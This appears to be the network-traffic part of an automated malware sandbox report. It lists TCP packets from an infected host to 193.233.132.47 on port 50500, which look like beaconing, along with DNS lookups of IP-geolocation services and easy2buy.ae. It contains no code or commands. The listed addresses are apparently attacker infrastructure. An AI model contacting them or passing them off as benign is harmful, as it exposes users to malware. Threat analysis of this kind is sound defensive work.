Apr 22, 2024 01:18:20.230782986 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230818987 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230832100 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230858088 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230870008 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230895042 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230933905 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230972052 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.231019020 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478605986 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478631973 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478647947 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478667021 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478683949 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478701115 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478718996 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478718996 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478737116 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478750944 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478754997 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478784084 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478821993 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478841066 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478858948 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478876114 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478882074 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478893042 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478902102 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478910923 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478929043 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478935003 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478950977 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478969097 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.478975058 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.478986025 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479002953 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479008913 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479021072 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479038000 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479047060 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479055882 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479072094 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479077101 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479091883 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479109049 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479126930 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479144096 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479149103 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479161978 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479180098 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479190111 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479198933 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479214907 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479233027 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479249954 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479258060 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479266882 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479284048 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479295969 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479301929 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479319096 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479336977 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479362011 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479398966 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479415894 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479433060 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479449034 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479455948 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479466915 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479480028 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479484081 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479500055 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479501963 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479521036 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479537964 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479553938 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479558945 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479572058 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479582071 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479598045 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479612112 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479615927 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479631901 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479648113 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479657888 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479665995 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479682922 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479703903 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479706049 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479716063 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479721069 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479737997 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479757071 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479760885 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479773998 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479790926 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479799032 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479809046 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479825020 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479842901 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479860067 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479866028 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479877949 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479892969 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479906082 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479909897 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479927063 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479948044 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479964018 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.479974031 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.479983091 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480000019 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480010986 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.480015993 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480034113 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480036974 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.480051041 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480067968 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480072975 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.480084896 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480113029 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480129004 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.480129004 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480146885 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480161905 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480180979 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480187893 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.480196953 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480214119 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.480227947 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.480259895 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.647495031 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.888993979 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.889098883 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:21.130743027 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:21.131756067 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:21.373246908 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:21.373465061 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:21.654548883 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:23.702554941 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:24.405802965 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:24.662884951 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:24.718008995 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:55.249754906 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:55.506988049 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:55.561763048 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:11.921576023 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:12.189697981 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:12.237325907 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:18.280680895 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:18.540638924 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:18.593055010 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:21.827528954 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:22.090039015 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:22.140033960 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:25.140269041 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:25.407835960 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:25.452457905 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:25.686050892 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:19:25.686470032 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:19:28.452826977 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:28.713850975 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:28.764950991 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:31.767954111 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:32.024401903 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:32.093086004 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:35.062621117 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:35.320744991 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:35.389887094 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:38.361788988 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:38.621427059 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:38.780520916 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:41.671206951 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:41.934031010 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:42.093019009 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:44.968120098 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:45.236027956 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:45.280518055 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:46.157181025 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:19:46.408926010 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:19:48.280627966 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:48.538296938 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:48.592998981 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:51.134344101 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:51.134485006 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:51.415683031 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:54.236639023 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:54.496273041 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:54.593018055 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:57.561940908 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:19:57.823029041 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:19:57.889889002 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:00.858732939 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:01.117006063 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:01.280648947 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:04.171251059 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:04.445310116 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:04.593017101 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:07.483850956 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:07.742254972 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:07.889873028 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:10.889142990 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:11.147970915 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:11.389884949 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:14.235331059 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:14.507154942 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:14.593046904 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:17.561887026 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:17.818680048 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:17.889879942 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:20.874330997 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:21.134386063 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:21.280508041 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:24.187005043 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:24.450478077 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:24.595354080 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:27.547084093 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:27.803730011 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:27.889897108 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:30.843101025 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:31.111885071 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:31.280513048 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:34.155659914 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:34.416157007 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:34.593031883 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:37.452605963 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:37.708132982 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:37.780519009 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:40.766998053 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:41.025322914 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:41.093003988 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:44.080499887 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:44.337007046 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:44.389883041 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:47.499419928 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:47.757242918 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:47.889869928 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:50.811877966 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:51.070202112 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:51.280499935 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:54.124339104 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:54.383213997 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:54.592993021 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:57.421237946 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:20:57.682080984 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:20:57.780605078 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:00.808887005 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:01.071682930 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:01.280507088 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:04.421611071 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:04.688962936 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:04.780586004 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:07.718281031 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:07.976567030 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:08.092993021 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:11.030601978 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:11.313448906 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:11.336487055 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:11.389870882 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:14.389954090 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:14.653894901 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:14.780515909 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:17.689270973 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:17.945432901 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:18.093008041 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:21.134797096 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:21.137381077 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:21.419856071 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:24.186804056 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:24.449642897 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:24.593009949 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:27.483779907 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:27.739269972 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:27.780488014 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:30.780637026 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:31.036201954 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:31.093126059 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:34.093319893 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:34.353935003 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:34.593116045 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:37.468170881 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:37.730956078 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:37.780472040 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:40.764952898 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:41.028480053 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:41.093000889 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:44.077538013 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:44.337481976 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:44.389894962 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:47.374313116 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:47.634865999 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:47.780469894 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:50.769352913 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:51.028426886 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:51.108860016 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:54.077409983 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:54.339092970 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:54.389848948 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:57.389950991 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:21:57.648027897 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:21:57.781398058 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:22:00.707457066 CEST	49721	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:22:00.966748953 CEST	50500	49721	193.233.132.47	192.168.2.5
Apr 22, 2024 01:22:01.092983007 CEST	49721	50500	192.168.2.5	193.233.132.47

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 01:17:58.191257000 CEST	58403	53	192.168.2.5	1.1.1.1
Apr 22, 2024 01:17:58.295835018 CEST	53	58403	1.1.1.1	192.168.2.5
Apr 22, 2024 01:17:58.779642105 CEST	61430	53	192.168.2.5	1.1.1.1
Apr 22, 2024 01:17:58.887487888 CEST	53	61430	1.1.1.1	192.168.2.5
Apr 22, 2024 01:18:13.788249969 CEST	50435	53	192.168.2.5	1.1.1.1
Apr 22, 2024 01:18:14.262638092 CEST	53	50435	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 22, 2024 01:17:58.191257000 CEST	192.168.2.5	1.1.1.1	0x80f0	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 22, 2024 01:17:58.779642105 CEST	192.168.2.5	1.1.1.1	0xeec	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Apr 22, 2024 01:18:13.788249969 CEST	192.168.2.5	1.1.1.1	0xa0af	Standard query (0)	easy2buy.ae	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 22, 2024 01:17:58.295835018 CEST	1.1.1.1	192.168.2.5	0x80f0	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 22, 2024 01:17:58.887487888 CEST	1.1.1.1	192.168.2.5	0xeec	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false
Apr 22, 2024 01:17:58.887487888 CEST	1.1.1.1	192.168.2.5	0xeec	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
Apr 22, 2024 01:17:58.887487888 CEST	1.1.1.1	192.168.2.5	0xeec	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
